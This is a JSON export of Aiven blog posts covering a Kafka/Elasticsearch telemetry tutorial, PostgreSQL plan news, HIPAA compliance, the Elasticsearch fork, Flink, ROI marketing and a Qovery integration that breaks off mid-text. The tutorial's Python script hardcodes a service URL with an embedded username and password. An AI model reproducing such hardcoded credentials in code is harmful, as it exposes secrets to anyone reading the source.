Wait for all messages to be sent\nproducer.flush()\nprint(\"Done, sent {} messages\".format(i))\n```\n\nNow we execute the script:\n\n```\n$ python3 submit_telemetry.py\nDone, sent 10 messages\n```\n\n### Exploring the data with OpenSearch dashboards\n\nAll of our Elasticsearch plans include integrated Kibana, which can be a handy tool for exploring and/or visualizing the data too. We can easily verify that our telemetry is flowing all the way to our Elasticsearch instance.\n\nClicking the Kibana link under the Elasticsearch service information page opens a view to OpenSearch dashboards. We are greeted with a configuration page where we enter the name of our Elasticsearch index created in one of the earlier steps:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/3c88f094bbf36b322dbbb1606216916436e20071-640x460.png)\n\nDefault discovery view on our sample data. The default view lists our entries. Since we're using keyed messages and the entry is always replaced with the latest entry, the timeline view will show only the timestamp of the last reception.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/6da5a2f6735dde0b58dd6f82fe743b2b7be0d939-640x460.png)\n\n### Accessing data in Elasticsearch\n\nThe real value of the new pipeline is realized with the ability to query for device information from Elasticsearch. In the Elasticsearch example query script (query_elasticsearch.py) below, we'll query for all devices that last reported from Arizona:\n\n```python\nimport requests\nimport json\n\nAIVEN_ELASTICSEARCH_URL = \"https://avnadmin:in9zvfjaio32m0qy@gadget-elastic.htn-aiven-demo.aivencloud.com:24185\"\n\nresponse = requests.get(\n \"{}/_search?q=location:arizona\u0026pretty=true\".format(AIVEN_ELASTICSEARCH_URL),\n verify=\"ca.pem\"\n)\n```\n\n```python\nprint(response.text)\n```\n\nRunning the script show the list of active gadgets in the target region:\n\n```\n$ python3 query_elasticsearch.py\n```\n\n```python\n{\n \"took\" : 7,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 4,\n \"successful\" : 4,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : 2,\n \"max_score\" : 1.3862944,\n \"hits\" : [\n {\n \"_index\" : \"gadget-telemetry\",\n \"_type\" : \"kafka-connect-gadget-telemetry\",\n \"_id\" : \"gadget_2\",\n \"_score\" : 1.3862944,\n \"_source\" : {\n \"temperature\" : 114,\n \"location\" : \"arizona\",\n \"timestamp\" : \"2017-12-06T13:55:01Z\"\n }\n },\n {\n \"_index\" : \"gadget-telemetry\",\n \"_type\" : \"kafka-connect-gadget-telemetry\",\n \"_id\" : \"gadget_5\",\n \"_score\" : 1.2039728,\n \"_source\" : {\n \"temperature\" : 45,\n \"location\" : \"arizona\",\n \"timestamp\" : \"2017-12-06T13:55:01Z\"\n }\n }\n ]\n }\n}\n```\n\nThe above example is easily extended to query data by a certain temperature threshold, location or time of the last update. Or, if we want to check the state of a single device, we now have the latest state available by its ID.\n\n### Summary\n\nIn this example, we built a simple telemetry pipeline with Kafka, Kafka Connect and Elasticsearch. We used Elasticsearch connector, which is the first connector we support with Aiven Kafka. We'll be following up with S3 connector shortly with others to follow.\n\nGet in touch if we could help you with your business requirement!\n\n### Give Aiven services a whirl\n\nRemember that trying Aiven is free: you will receive US$10 worth of free credits at sign-up which you can use to try any of our service plans. The offer works for all of our services: PostgreSQL, Redis, Grafana, Elasticsearch and Kafka!\n\nGo to [aiven.io](https://aiven.io/) to get started!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2017-06-20T10:35:00.001Z","seo":{"_type":"metaData","metaDescription":"Kafka Connect is now available in preview from Aiven. Find out which connectors we’re starting with and how to set them up.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Kafka Connect Preview | Elevate data connectivity | Aiven"},"slug":{"_type":"slug","current":"/blog/kafka-connect-preview"},"subtitle":"Kafka Connect is now available in preview from Aiven. Find out which connectors we’re starting with and how to set them up.","title":"Kafka Connect Preview"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"54xk9NNU2210YD7HOszTgN","_rev":"ejVwHgKe5k9eDWbchuGrwf","_type":"post","_updatedAt":"2024-07-11T08:39:06Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"As part of our ongoing efforts to improve our service according to client feedback, we've increased the disk space for all Aiven for PostgreSQL plans.\n\nDepending on plan type, **we've increased** **disk space anywhere from 12% to 75%**. Check out the table below to see improvements according to plan type:\n\n| Plan | Previous storage | Improved storage |\n|----------------------------|------------------|------------------|\n| Startup/business/premium-4 | 50 GB | **80 GB** |\n| Startup/business/premium-8 | 100 GB | **175 GB** |\n| Startup/business/premium-16| 200 GB | **350 GB** |\n| Startup/business/premium-32| 400 GB | **700 GB** |\n| Startup/business/premium-64| 800 GB | **1000 GB** |\n| Startup/business/premium-120| 1200 GB | **1400 GB** |\n| Startup/business/premium-160| 1600 GB | **1800 GB** |\n| Startup/business/premium-240| 2400 GB | **2800 GB** |\n\nNew Aiven PostgreSQL service plans will come with the increased disk space while existing service plans will receive the increases during their next upgrades.\n\nWe can also provide even greater disk space upon request. If you're interested, feel free to [contact our sales](/contact) for more information!\n\nFor those of you who are running your PostgreSQL services on Amazon Web Services (AWS) and Google Cloud Platform (GCP), the news is even better.\n\n## Aiven supports local SSDs in AWS and GCP\n\nIn fact, **we are the first** DBaaS to offer such support.\n\nSpecifically, we will use PCIe NVMe local SSDs starting from Startup/ Business/Premium-8 plans in GCP and Startup/Business/Premium-16 plans in AWS.\n\nSo why is this important?\n\nOur initial tests have demonstrated **up to a 400% increase in performance** when using local SSDs over network-based SSDs.\n\nTo learn more, view our [benchmarking presentation](https://github.com/aiven/presentations/blob/master/pgconfeu2017/PostgreSQL%20Cloud%20Performance%20-%20PGConf%20EU%202017%20-%20Oskari%20Saarenmaa.pdf) that we gave at this year's PostgreSQL Conference Europe.\n\nCurrently, only AWS and GCP have support for these but we hope to extend it to other cloud providers in the future when they have the required support.\n\nWe will be following up later on with a longer form blog post that will go into more detail.\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n\n## Further reading\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"publishedAt":"2017-11-09T14:59:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven is the first DBaaS to support local SSDs. With performance increases of up to 400% over network-based SSDs, it’s a big deal. Read on to get the details.","metaImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven's PostgreSQL® plans now feature faster local SSDs"},"slug":{"_type":"slug","current":"/blog/larger-and-faster-aiven-postgresql-plans"},"subtitle":"Aiven is the first DBaaS to support local SSDs. With performance increases of up to 400% over network-based SSDs, it’s a big deal. Read on to get the details.","title":"Aiven for PostgreSQL® plans are now larger and faster with local SSDs"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6pZDGbK38HGLHqqumyqcdF","_rev":"jlE3yG3C5Lxk0cUOqcojVK","_type":"post","_updatedAt":"2024-05-27T12:38:57Z","authors":[{"_key":"CwYvBlc0mZRbFtiATviQl","_ref":"CwYvBlc0mZRbFtiATviQl","_type":"reference"}],"body":"You might not have known, but __Aiven is HIPAA compliant.__ We actually reached compliance back in December of 2018, but we wanted to get a few use cases under our belt before we announced it.\n\nSo, what does this mean on a practical level? This means that all Aiven services can be used in a HIPAA compliant manner in health care use cases and applications.\n\n\u003e For those of you looking for Aiven services under HIPAA requirements, [contact sales](mailto:sales@aiven.io) for a Business Associate Agreement (BAA).\n\nOur current list of HIPAA-compliant services includes the following:\n\n- Aiven for Apache Kafka\n- Aiven for PostgreSQL\n- Aiven for MySQL\n- Aiven for OpenSearch\n- Aiven for Cassandra\n- Aiven for Caching\n- Aiven for InfluxDB\n- Aiven for Grafana\n\nNow that you know we are compliant, let's take a brief overview of what HIPAA is, why it's important, and what compliance actually means and entails.\n\n## What is HIPAA and why is it important\n\nHIPAA is the Health Insurance Portability and Accountability Act of 1996 passed by the United States legislature. It contains [five titles(or sections)](https://searchhealthit.techtarget.com/definition/HIPAA) that cover everything from ensuring that people are not denied coverage for pre-existing conditions to the protection of their medical information.\n\nWhen discussing _HIPAA compliance_, people are typically referring to Title II of HIPAA. This section establishes regulations for maintaining the [privacy and security of protected health information](https://www.hipaatraining.com/). The privacy regulation pertains to a people, administrative, and contractual standpoint.\n\n\u003e To be compliant, all organizations must be at least comply with the HIPAA Privacy regulation.\n\nMeanwhile, the security regulation pertains to keeping electronic PHI safe from disasters, hackers, and electronic theft. Any organization that handles electronic data must meet both the privacy and security HIPAA regulations to be compliant.\n\n## Wrapping up\n\nHIPAA compliance is important for organizations that use data for health care use cases and applications. But it doesn't stop with you, your service providers must be as well: it is one of several compliance standards that we possess.\n\nNext on our list will be [SOC 2](https://aiven.io/blog/aiven-preparing-for-soc-2-compliance), which we plan on getting certified for in Q3 of 2019. To see our current list of compliance standards, visit our [security and compliance page](https://aiven.io/security-compliance).\n\nTo stay up-to-date with our latest news, join our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds, as well as [Twitter](https://twitter.com/aiven_io) and [LinkedIn](https://www.linkedin.com/company/aiven/). Not a customer? [Try Aiven services with our free 30 day trial](https://console.aiven.io/signup).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2mBcgNf20QQ0rW0XtSjzVs","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-aa298af7f9cfb65a1d7edd95e9f064831235206a-752x405-png","_type":"reference"}},"publishedAt":"2019-05-13T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven is HIPAA, a US health care standard, compliant. Find out more about what it means in our latest post.","metaImage":{"alt":"","asset":{"_ref":"image-aa298af7f9cfb65a1d7edd95e9f064831235206a-752x405-png","_type":"reference"}},"metaTitle":"Aiven is HIPAA compliant – Discover the benefits!"},"slug":{"_type":"slug","current":"/blog/aiven-is-hipaa-compliant"},"subtitle":"Aiven is HIPAA, a US health care standard, compliant. Find out more about what it means in our latest post.","title":"Aiven is HIPAA compliant"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"25GCqENl5povl8r1ZHNXOy","_rev":"neae7oL4y1FotDvvRLIWJ4","_type":"post","_updatedAt":"2024-07-11T12:27:07Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"__UPDATE: Aiven has now released [Aiven for OpenSearch](https://aiven.io/blog/announcing-aiven-for-opensearch \"Announcing Aiven for OpenSearch | Aiven blog\"), built on Elasticsearch 7 and offering all the same functionality at the time of the launch.__\n\nOn the 14th of January 2021, Elastic.co [announced](https://www.elastic.co/blog/licensing-change \"Elastic.co announcement\") that they would be changing the licensing of Elasticsearch. The new licence would be a more restrictive combination of Elastic License and SSPL from the previous Apache v2.0 / Elastic combination. \n\nThis has caused some concern in the community. The use of SSPL licence is highly problematic for many companies, because offering the licenced program as a service to third parties requires the provider to share the entire service source code freely at no charge. As a result, anything that Elasticsearch touches would be open source. This would include even companies who provide Elasticsearch as an internal service within their own company. \n\nOur existing customers are not impacted and can continue using the current versions, as stated in [our initial announcement](https://aiven.io/press/aiven-statement-on-license-changes-for-elasticsearch \"Aiven statement on license changes for Elasticsearch\"). In the medium and long term, however, this is not ideal. We need to think about the future of an open source licensed version of Elasticsearch.\n\n## Truly Open Source ES\n\nImmediately after the original announcement, multiple companies started talking about what to do. On 21st of January AWS announced that they would be forking Elasticsearch and Kibana and forming a community around this new open source project.\n\nThe first step is to remove from the build and release processes of the Elasticsearch project all dependencies on the former Elastic.co based process. After the initial repositories are released without the proprietary code the project will open to accepting contributions from the community. \n\nThe new project will have its own name to distinguish it from the Elasticsearch project. Its governance model is still under discussion; possibly it will live underneath an existing foundation like Apache Software Foundation or CNCF. The stated intent from AWS, among others, is to make sure that the new project will not have an operating model dictated by a single company. Instead, it will be truly open to contributions from the wider community. Aiven stands behind this 100%.\n\n::banner[Learn how to migrate your Elasticsearch client to OpenSearch® in Python, Java and Node.js.]{ctaText=\"Check out our article\" ctaLink=\"https://aiven.io/blog/migrate-elasticsearch-client-to-opensearch\" title=\"Leaving Elasticsearch to keep your business open source?\" theme=\"dark\"}\n\n## Aiven will contribute\n\nAt Aiven, we’re very excited about these new developments. We are, after all, heartfelt advocates of open source, and now Elasticsearch will be truly open source again. Developers will have true freedom to create new features without running into proprietary roadblocks.\n\nAiven will be joining forces with the new fork. The new project will form the basis of what is still currently known as the Aiven for Elasticsearch service.\n\nOf course we will also contribute actively to the project. For one thing, we’re planning to add our Elasticsearch snapshot encryption code to the fork as soon as we can.\n\nWhat is more, we are now hiring new open source developers:\n\n- Elasticsearch open source developer: Come and join us in contributing to the new OS ES fork in [Helsinki](https://apply.workable.com/aiven/j/324DD23DFA/ \"Elasticsearch Open Source Developer - Helsinki\"), [Berlin](https://apply.workable.com/aiven/j/409A0AFA3F/ \"Elasticsearch Open Source Developer - Berlin\") or remotely\n- Kafka Open Source Developer: Join our teams in [Helsinki](https://apply.workable.com/aiven/ \"Kafka Open Source Developer - Helsinki\"), [Berlin](https://apply.workable.com/aiven/ \"Kafka Open Source Developer - Berlin\") or remotely\n- PostgreSQL Open Source Developer: [Berlin, Helsinki or remotely](https://apply.workable.com/aiven/j/6AB799DC8A/ \"Open-Source PostgreSQL Developer\")\n\n\n## Further reading\n\n- [Aiven statement on license changes for the Confluent Platform](https://aiven.io/blog/aiven-statement-on-kafka-license)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-98922b4e18e6e8bb9b3a4a2c9fc056f74a0dd19e-1567x844-png","_type":"reference"}},"publishedAt":"2021-02-09T00:00:00.000Z","related":[{"_key":"ef423eb94fa1","_ref":"85eab45a-fdee-4d88-8abc-81ba9ee74fc5","_type":"reference"},{"_key":"3033dc081587","_ref":"41CJPFxYD9orHdvISHink9","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"The community rallies to create, support and contribute to the new open source fork. Aiven is part of the movement to keep open source software truly open.","metaImage":{"alt":"","asset":{"_ref":"image-98922b4e18e6e8bb9b3a4a2c9fc056f74a0dd19e-1567x844-png","_type":"reference"}},"metaTitle":"Keeping Elasticsearch open | Get informed now | Aiven"},"slug":{"_type":"slug","current":"/blog/keeping-elasticsearch-open"},"subtitle":"The community rallies to create, support and contribute to the new open source fork. Aiven is part of the movement to keep open source software truly open.","title":"Keeping Elasticsearch open"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3iliX8FXlUMcyR7Uo56OId","_rev":"ZLvKaZvfbZlWBlGcpIo81d","_type":"post","_updatedAt":"2024-01-29T15:40:50Z","authors":[],"body":"Apache Flink enables you to easily create real-time streaming analytics and ETL applications by using the familiar SQL language - no coding required. [Aiven now offers Apache Flink as a managed service](https://aiven.io/flink \"Aiven for Apache Flink\"), even if we are still in beta.\n\n## What is Apache Flink?\nApache Flink is a framework and distributed processing engine for stateful computations over unbounded and bounded data streams. It is a perfect companion to Apache Kafka event streaming platform, to perform reliable and scalable real-time filtering, enriching, aggregating, alerting and analysing of the events.\n\nCombining the ease of doing event stream processing with SQL language with the simplicity of Aiven managed services, makes the combination of Aiven for Apache Kafka and Aiven for Apache Flink the easiest event stream processing solution in the market. And it can be further extended with the other Aiven services, e.g. Aiven for PostgreSQL and Aiven for OpenSearch, to build even more complete real-time analytics data pipelines.\n\nLooking at the statistics on the Apache Software Foundation blog post [Apache in 2020 - By The Digits](https://blogs.apache.org/foundation/entry/apache-in-2020-by-the \"Apache in 2020 by the digits | Apache blog\"), in many categories, Apache Flink was one of the most active Apache projects during 2020. This thriving community powering Apache Flink - where also Aiven actively participates - ensures that the technology is future-proof and evolves quickly to support new kinds of use cases.\n## What is it used for?\nApache Flink is widely used in various industries to speed up business decisions. The real-time insights derived from on-the-fly data are essential elements in today's competitive business environments.\n\nIn e-commerce, for example, Apache Flink often powers the personalization of the contextual buyer experience personalization in real-time, like recommendation engines or search result optimization. Other common uses for Apache Flink are real-time monitoring of the goods processes from order to delivery, where it can alert on anomalies before customers are impacted; and to avoid out-of-stock situations in inventory and supply chain processes by offering real-time management capabilities.\n\nAnother example could be the finance industry, where Apache Flink is commonly powering critical business processes such as credit card fraud detection, real-time trading solutions and credit scoring applications. And you can find similar examples from just about any industry. \n## What does “beta” mean in this case?\nIn Aiven terminology, a beta service means that you can get a head start on your road into the world of real-time stream processing.\n\nAiven for Apache Flink beta can be used for development work and for testing production grade workloads, but not for full production use. This is the perfect time to get started. You can develop your real-time streaming applications, provide your feedback as you go, and get precisely the features and capabilities that you need implemented in it. \n\nA word of caution, though: you can use our free Basic level support with the beta service, but higher level support packages are currently not available and our standard SLA terms do not apply.\n## How to get started?\n\nIf you’re new to Aiven, first [create an Aiven account](https://console.aiven.io/signup \"Sign up for Aiven\"). After that:\n\n1. Log in to the Aiven console.\n2. Create an Aiven for Apache Flink service.\n3. Define your data integrations. If you’re a new user, make sure to create a Kafka or PostgreSQL service that you can use as source for Flink jobs.\n4. Write your first stream processing job - with SQL.\n\nEnjoy !\n\nFor more information please visit our [Aiven for Apache Flink beta product page](https://aiven.io/flink) and check the product documentation [here in the Developer Portal](https://aiven.io/docs/products/flink). You can also take a look at the Flink themed blog posts.\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1da0bf8e3623ae77720d596ada48b39fcdd548c4-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-03T00:00:00.000Z","seo":{"metaDescription":"We’re excited to announce that a beta version of our Aiven for Apache Flink service is now publicly available for anyone to try. Find out more!","metaImage":{"alt":"","asset":{"_ref":"image-1da0bf8e3623ae77720d596ada48b39fcdd548c4-1567x844-png","_type":"reference"}},"metaTitle":"Aiven for Apache Flink® beta now available"},"slug":{"_type":"slug","current":"/blog/aiven-for-apache-flink-beta-now-available"},"subtitle":"We’re excited to announce that a beta version of our Aiven for Apache Flink service is now publicly available for anyone to try. Find out more!","title":"Aiven for Apache Flink® beta now available"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6PB9JClc5uZnISKDDvXeB","_rev":"VeNKqGNmt13PzvGhqsS0ca","_type":"post","_updatedAt":"2024-01-29T15:38:06Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We're proud to announce Aiven, the next generation cloud database service platform.\n\nNow you can use our high performance Aiven for PostgreSQL 9.5 in Google Cloud and Amazon Web Services. Billed by the hour, Aiven takes care of database maintenance tasks for you, freeing your time on applications and business. Launch your databases in minutes and be assured that backups and fault tolerance is taken care for you. Select a suitable plan with monthly charge based only on your actual service usage.\n\nGo to [aiven.io](/) to get started!\n\nYou can use the service through our web console at [console.aiven.io](https://console.aiven.io/). Command line client is available at [github.com/aiven/aiven-client](https://github.com/aiven/aiven-client).\n\nOur REST API document can be found at [aiven.io/api](https://aiven.io/docs/tools/api). The command line client also contains a Python reference client implementation for the REST API.\n\nWe're also exited to pre-announce expansion of our supported cloud providers to include both [DigitalOcean](https://www.digitalocean.com/) and [UpCloud](https://upcloud.com/) during the coming weeks.\n\nAt this time we'd also like to thank our private beta customers who have given us invaluable feedback on how to improve our services.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2016-01-12T13:08:00.000Z","seo":{"metaDescription":"Our first offer, Aiven for PostgreSQL is now out. First, we’d like to thank all beta users. Now, we’d like to invite you to find out how to get it.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL now available"},"slug":{"_type":"slug","current":"/blog/aiven-is-now-publicly-available"},"subtitle":"Our first offer, Aiven for PostgreSQL is now out. First, we’d like to thank all beta users. Now, we’d like to invite you to find out how to get it.","title":"Aiven for PostgreSQL now available"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"47NwTuWwRg9g7l0ywIXsIR","_rev":"FsdEUX6qPquRWP6V13zdSU","_type":"post","_updatedAt":"2024-03-21T14:07:41Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"At Aiven, we’re frankly pretty proud of how we make life easier for DBAs and application developers. They really appreciate our quick and hassle-free services that allow them to store and process data in the cloud. This feedback is very gratifying… and honestly, not a huge surprise, because that’s what we’re here for. \n\nBut we also keep hearing back from customers that our managed cloud database services bring them massive and tangible business benefits. They talk about increased agility, allowing them to maneuver more quickly in a fast-paced business environment, and efficiency that is directly reflected in their bottom line.\n\nWe could make an educated guess as to how big this effect is, but we just don’t do the guesswork thing. We wanted to put some numbers to it and properly understand just what it is that our services accomplish. \n\nSo we sponsored a study by IDC to look into the question. \n\nThe results make cool reading. According to the IDC White Paper , in terms of business value, our customers have seen __340% three-year ROI__ with a __5-month payback period__; __37% lower cost of operations__ over three years; and an impressive surge in the effectiveness of DBA, infra and security teams. \n\nIDC calculations show that the companies participating in the study, who were enterprise-level companies, were able to realize an average of $184,800 in higher net revenue annually per organization. \n### White paper highlights\nWe’ll let you read the IDC white paper* itself for more in-depth insights, but just to give you a taste, here are some highlights:\n- Aiven is unique in the ability to offer automatic scaling of databases and access to Apache Kafka free from maintenance concerns.\n- Aiven enables companies to move away from maintaining physical assets, to purchasing services on a need-to-have basis.\n- Aiven offers development teams greatly enhanced agility and scalability.\n- With Aiven, equivalent results can be achieved with significantly less time and investment into DBA, IT infrastructure and security.\n- Aiven enhances business agility by making upscaling and downscaling easy.\n- Aiven brings great risk mitigation benefits.\n\nAiven’s unique multi-cloud, open source approach offers more versatility than on-premises solutions or even the proprietary solutions offered by each large cloud provider. Data can live near its users, and if circumstances change, it can easily be moved to different regions and clouds. This hugely increases business agility compared to an in-house or proprietary solution.\n### Automated agility\nAutomated scaling, also mentioned as a differentiating factor, is another great source of agility in operations. Because customers are not stuck with unwanted capacity, they feel comfortable increasing it when needed and reap the benefits. When needs decrease, however temporarily, they can again leverage the benefit of decreasing their spend.\n\n*“With Aiven, we easily scaled up a few days before [a major event]; This would have taken a month [of] preparation otherwise.” -- An EMEA business services company*\n\nCustomers also emphasised the ease of use that Aiven brings to cloud data management. We got kudos on our graphical user interface, the Aiven Console, as well as the general straightforward setup and user experience.\n\n*“[Our DBAs] have more time to work on performance, database engine choice, schema definition and things like that because they no longer have to spend time to install, maintain, upgrade, and change passwords. [...E]verything is done by Aiven.\" -- An EMEA retail company*\n\nBut enough about this boasting, right? Head on over to the [white paper](https://aiven.io/whitepaper/the-business-value-of-aiven-data-cloud-solutions) itself and read the hard data about the business benefits Aiven brings.\n\n--\n\n\u0026ast; Source: IDC White Paper, sponsored by Aiven, The Business Value of Aiven Data Cloud, document #48198621, August 2021.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n","categories":[{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-80e0b16f83593da58b55e9b0b73315cc83d392e9-1567x844-png","_type":"reference"}},"publishedAt":"2021-10-18T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"IDC wrote a white paper on just how much value Aiven services add for our customers. Read how we did! (Spoiler: we did really well.)","metaImage":{"alt":"","asset":{"_ref":"image-80e0b16f83593da58b55e9b0b73315cc83d392e9-1567x844-png","_type":"reference"}},"metaTitle":"Aiven's cloud data services yield 340% ROI in 3 years "},"slug":{"_type":"slug","current":"/blog/aiven-cloud-data-services-bring-340-three-year-roi"},"subtitle":"IDC wrote a white paper on just how much value Aiven services add for our customers. Read how we did! (Spoiler: we did really well.)","title":"IDC White paper: Aiven's cloud data services bring 340% three year ROI"} {"__i18n_lang":"en","_createdAt":"2023-03-28T08:30:10Z","_id":"4390c17f-ed94-4bf3-a4f7-14c73e750746","_rev":"T130WEs22RB6SoEkOC28PM","_type":"post","_updatedAt":"2024-11-19T11:03:27Z","authors":[{"_key":"ec5b06afdfc1","_ref":"6aeff25f-c17b-430e-86cb-61d3274f2b09","_type":"reference"},{"_key":"2a2d13214675","_ref":"af200904-2806-41f9-8278-b1104bb26d0a","_type":"reference"}],"body":"Hey there! It's Romaric from [Qovery](https://www.qovery.com/), and I'm excited to bring you this article that I co-wrote with Sébastien Blanc from Aiven. In this article, we'll show you how Aiven for PostgreSQL® and Qovery work together to streamline your app development and deployment on AWS. But before we dive into the details, let's take a closer look at Aiven and Qovery separately.\n\n## Aiven x Qovery\n\nAiven and Qovery are two powerful tools that, when used together, provide a great solution for modern application development. Aiven offers a simple and fast way to spin up open source data infrastructures, like [PostgreSQL®](https://aiven.io/postgresql), [Redis®](https://aiven.io/caching) and [Apache Kafka®](https://aiven.io/kafka), while Qovery [provides a platform ] for developers to easily deploy, manage and scale their applications.\n\nWhen it comes to developing modern applications, it's important to have a database that is fast, reliable, and easy to manage. This is where Aiven for PostgreSQL® comes in. Aiven provides a cloud-based database service that is fully managed and can be set up and configured in a matter of minutes. With Aiven, you get access to a fully managed PostgreSQL database designed to scale with your needs, all while ensuring high availability, data safety, and data security.\n\nQovery, on the other hand, provides a modern platform for developers to deploy and manage their applications. With Qovery, developers can easily create multiple environments that allow them to test and preview their applications before deployment to production. Qovery also makes it easy to integrate external services, like Aiven for PostgreSQL, into your application.\n\nTogether, Aiven and Qovery provide a powerful solution for modern application development. Developers can easily spin up an Aiven for PostgreSQL instance and integrate it with their Qovery application, all while taking advantage of Qovery's powerful platform for managing and deploying their application. With Aiven and Qovery, developers can focus on building great applications without worrying about the underlying infrastructure.\n\nNow that we've covered the benefits of Aiven and Qovery let's take a closer look at how they work together to make your app development process even more efficient.\n\n## How Aiven and Qovery work together\n\nTo demonstrate the integration between Aiven and Qovery, we'll use a sample application written in Java. The application is a simple to-do list, and we'll deploy it on AWS with Qovery and Aiven for PostgreSQL® as the backend database.\n\nWe'll assume that you already have some familiarity with Qovery and Aiven, but if you need any help getting started, be sure to check out our Qovery and Aiven documentation.\n\nTo get started, you’ll need both an Aiven and a Qovery account. If you don’t have an Aiven account, sign up for a free trial to follow along. Qovery has a great free plan you can sign up for too.\n\nTo integrate Aiven with Qovery, we'll use Qovery's Lifecycle Job feature. A Lifecycle Job is a script that is run at specific points in your environment’s lifecycle, such as before it is deployed or after it is shut down. With Lifecycle Jobs, we can create and configure our Aiven Postgres instance automatically and ensure that it is available for use when our application starts.\n\n![diagram showing that Qovery manages the environment for the app. The app is hosted on 